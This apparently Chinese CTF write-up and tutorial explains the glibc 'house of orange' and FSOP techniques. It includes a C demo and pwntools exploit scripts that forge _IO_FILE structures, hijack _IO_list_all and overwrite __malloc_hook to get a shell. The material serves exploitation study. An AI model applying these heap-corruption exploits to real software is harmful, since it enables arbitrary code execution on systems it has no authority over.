首页 > 其他分享 >house of orange

house of orange

时间:2024-09-06 16:17:20浏览次数:10  
标签:fp p64 house top list IO fake orange

house of orange

1.针对没有free的堆题目

orange部分

申请比topchunk的size大的chunk,会将原本的chunk放入unsortedbin中,可以借此泄露地址

FSOP

io文件结构有chain连接成一个链表形式,这部分,头节点记录在_IO_list_all上,通过unsorted attack或者largebin attack劫持_io_list_all,指向我们可控的地址,进而劫持io流

fsop的触发路线

int
_IO_flush_all_lockp (int do_lock)
{
 ...
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
    {
      .....
          
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T//2.23需要绕过这里
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))//2.31增多了对vtable的检查
#endif
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)//如果更改vtable的跳表,将此处改成system
	result = EOF;
     ...
	fp = fp->_chain;
    }

劫持_IO_list_all结构体,修改vtable的跳表,将_IO_OVERFLOW改成system

demo

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner ( char *ptr);
int main()
{
    
    char *p1, *p2;
    size_t io_list_all, *top;
    p1 = malloc(0x400-16);
    top = (size_t *) ( (char *) p1 + 0x400 - 16);//定位到topchunk
    top[1] = 0xc01;//修改topchunk的size
    p2 = malloc(0x1000);
    //使topchunk进入unsortedbin
    
    io_list_all = top[2] + 0x9a8;  //get real addr of io_list_all
    printf("%p\n",&io_list_all);
    top[3] = io_list_all - 0x10;  //unsorted bin->bk = io_list_all - 0x10
    memcpy( ( char *) top, "/bin/sh\x00", 8); //fake_file->_flags
    //fakechunk初始化
    top[1] = 0x61;  //fake_size
    FILE *fp = (FILE *) top;  
    fp->_mode = 0; // top+0xc0
    fp->_IO_write_base = (char *) 2; // top+0x20
    fp->_IO_write_ptr = (char *) 3; // top+0x28
    size_t *jump_table = &top[12]; // controlled memory
    jump_table[3] = (size_t) &winner;
    *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8
    malloc(10);
    return 0;
}

int winner(char *ptr)
{ 
    system(ptr);
    return 0;
}

malloc时,对unsorted bin进行判断,此时该chunk的size为0x60,不满足要求,就把该chunk放入small bin,并且向bk->fd写入main_arena+0x88,即向_IO_list_all写入main_arena+0x88

此时判断下一个unsorted bin(_IO_list_all),而这里实际上没有chunk,此时会触发错误

此时第一个_IO_FILE_plus结构体为main_arena+0x88,而它不满足条件,就通过_chain调到下一个_IO_FILE_plus结构体,_chain位于0x68偏移的地方,main_arena+0x88+0x68=main_arena+0xf0,就是small bin中0x60大小的地方,这就回到了我们伪造的_IO_FILE_plus结构体

例题

gift函数开始就给了一个堆地址

add功能

edit功能,溢出

输入的字节可以又用户指定

show功能

泄露堆地址

#leak heap地址
rl(b'0x')
heap_base = int(io.recv(12), 16) - 0x10
print(hex(heap_base))
#泄漏基地址

orange部分:修改topchunk的size,再申请一块打的内存,使得topchunk进入unsortedbin,泄露基础地址

add(0x20,b'\n')
edit(0x30,p64(0)*5+p64(0xfb1))
add(0x1000,b'\n')
add(0x20,b'a'*8)
show()

(黑盾杯也有一个题也是这种操作,house of orange 1/2+house of force)

此时name这个全局变量记录的堆块往后的0x20的堆块被挂在unsortedbin上,通过溢出,把这个堆块作为我们伪造的fakechunk,还有修改unsorted的bk指针

payload = b'a' * 0x20
fake_file = b'/bin/sh\x00' + p64(0x61)   
fake_file += p64(0) + p64(io_list_all - 0x10)
fake_file += p64(0) + p64(1)
fake_file = fake_file.ljust(0xc0,b'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base + 0x158)
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
edit(len(payload), payload)

#触发
sla(b'choice : ', b'1')
sla(b'of it\n', str(1))

malloc(10)的时候

原本在unsortedbin上的chunk会放入smallbin之中,此时会往_IO_list_all上写入main_arena+88

而我们布置的fakechunk会被放入smallbin之中

刷新第二个结构体,main_arena+16刚好是smallbin的位置

vtable跳表的0x20的位置刚好就是overflow的表象,被我们写入为system的地址

flag是我们的/bin/sh的值

此时满足条件

fp->_IO_write_ptr > fp->_IO_write_base

即可执行

getshell

我很纳闷为啥我fsop的demo没啥用

黑盾杯 leak

2.27的libc,没有free函数

用了1/2的house of orange+house of force

free功能

只是清空列表,没有free

增查改都有

edit函数跟这里一样存在溢出,能多输入8个字节

add(0,0x18)
payload=p64(0)*3+p64(0xd91)
#修改topchunk
edit(0,payload)
add(1,0x1008)
add(2,0xd50)
#leak出libc的地址
show(2)
dbg()
libc_base=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3ec2a0
lg(hex(libc_base))

接下来就是house of force基本操作了

malloc_hook=libc_base+libc.sym['__malloc_hook']
one_gadget=libc_base+0x10a38c
#0x10a2fc
#house of force
edit(1,b'\x00'*0x1008+p64(0xffffffffffffffff))
add(3,-0x22010)
add(4,0x100)
payload=b'\x07'*0x30+p64(malloc_hook)*0x10+b'\n'
edit(4,payload)
add(5,0xa0)
edit(5,p64(one_gadget)+b'\n')
add(6,0x200)
inter()

标签:fp,p64,house,top,list,IO,fake,orange
From: https://www.cnblogs.com/L1nyun/p/18400449

相关文章

  • house of banana
    条件:1.任意地址写一个堆地址2.触发exit函数3.能泄露堆地址和基地址原理:伪造fini_array赋值用到的结构体从而控制程序exit时的程序执行流ld.so中存在_rtld_global指针,指向rtld_global结构体,里面有_dl_ns结构体,这个结构体里面存储的是elf隔断的符号结构体,fini_arra......
  • house of cat
    调用方法调用链1houseofcat调用链__malloc_assert在2.35的glibc中源码如下staticvoid__malloc_assert(constchar*assertion,constchar*file,unsignedintline, constchar*function){(void)__fxprintf(NULL,"%s%s%s:%u:%s%sAssertion`%s'fa......
  • house of stom
    完成事项houseofstom学习未完成事项wmctf的blineless没打通如何解决未完成事项下周待做事项houseoforangehouseoflore本周学习的知识分享houseofstom条件:1.能控制unsorted的bk指针,还有largebin的fd_nextsize和bk_nextsize码源分析largebinattack:申请大chunk......
  • 记录 macos 链接 win10 wsl2 ubuntu clickhouse 记录
    遇到了许多问题顺序应该不同首先就是链接的客户端是DBeaver链接的时候要选择版本低版本的用legacy,   驱动也很重要,下不到驱动的可以用网上找的驱动来安装  有的时候会有类名的问题但是报错很离谱会报  dbeaverclickhouse链接错误code:46Unknow......
  • clickhouse组件介绍
    写在前面今天学习clickhouse部分的知识。ClickHouseOLTP(联机事务处理系统)例如MySQL等关系型数据库,适用于小数据量时的快速查询和分析。OLTP主要针对增删改操作,数据经常发生变化。OLAP(联机分析处理系统)适用于数据长期不变且有大量历史数据的场景,主要进行分析操作,增......
  • 使用 Quickwit 的搜索流功能为 ClickHouse 添加全文搜索
    本指南将帮助您使用Quickwit的搜索流功能为知名的OLAP数据库ClickHouse添加全文搜索。Quickwit暴露了一个REST端点,可以极快地(每秒最多5000万条)流式传输匹配搜索查询的ID或其他属性,ClickHouse可以轻松地使用它们进行连接查询。我们将采用GitHub存档数据集,该数据......
  • clickhouse备份与恢复 - 使用官方命令
    在ClickHouse中可以通过以下步骤将数据备份到文件服务器上:编辑ClickHouse配置文件/etc/clickhouse-server/config.xml,在<backup_settings>部分添加以下内容:<remote_servers><b_server><host>b_server_ip_or_hostname</host><user>remote_......
  • Clickhouse备份与恢复
    一、安装clickhouse-backup1、下载安装包cd/server/tools/wgethttps://github.com/Altinity/clickhouse-backup/releases/download/v2.4.33/clickhouse-backup-linux-amd64.tar.gz2、创建存放clickhouse-backup的目录,并解压mkdir-pv/data/clickhouse-backuptarxvfcl......
  • 数据迁移新技能,MongoDB轻松同步至ClickHouse
    在当今数据驱动的世界中,企业的成功依赖于对数据的高效管理和精准分析。数据迁移是实现这些目标的关键环节,而选择合适的工具可以让这项工作变得更加轻松和高效。ETLCloud是一款创新的ETL(提取、转换、加载)工具,它提供了简单直观的界面和强大的功能,专门为现代数据集成挑战设计。它不......
  • 数据迁移新技能,MongoDB轻松同步至ClickHouse
    在当今数据驱动的世界中,企业的成功依赖于对数据的高效管理和精准分析。数据迁移是实现这些目标的关键环节,而选择合适的工具可以让这项工作变得更加轻松和高效。ETLCloud是一款创新的ETL(提取、转换、加载)工具,它提供了简单直观的界面和强大的功能,专门为现代数据集成挑战设计。它不......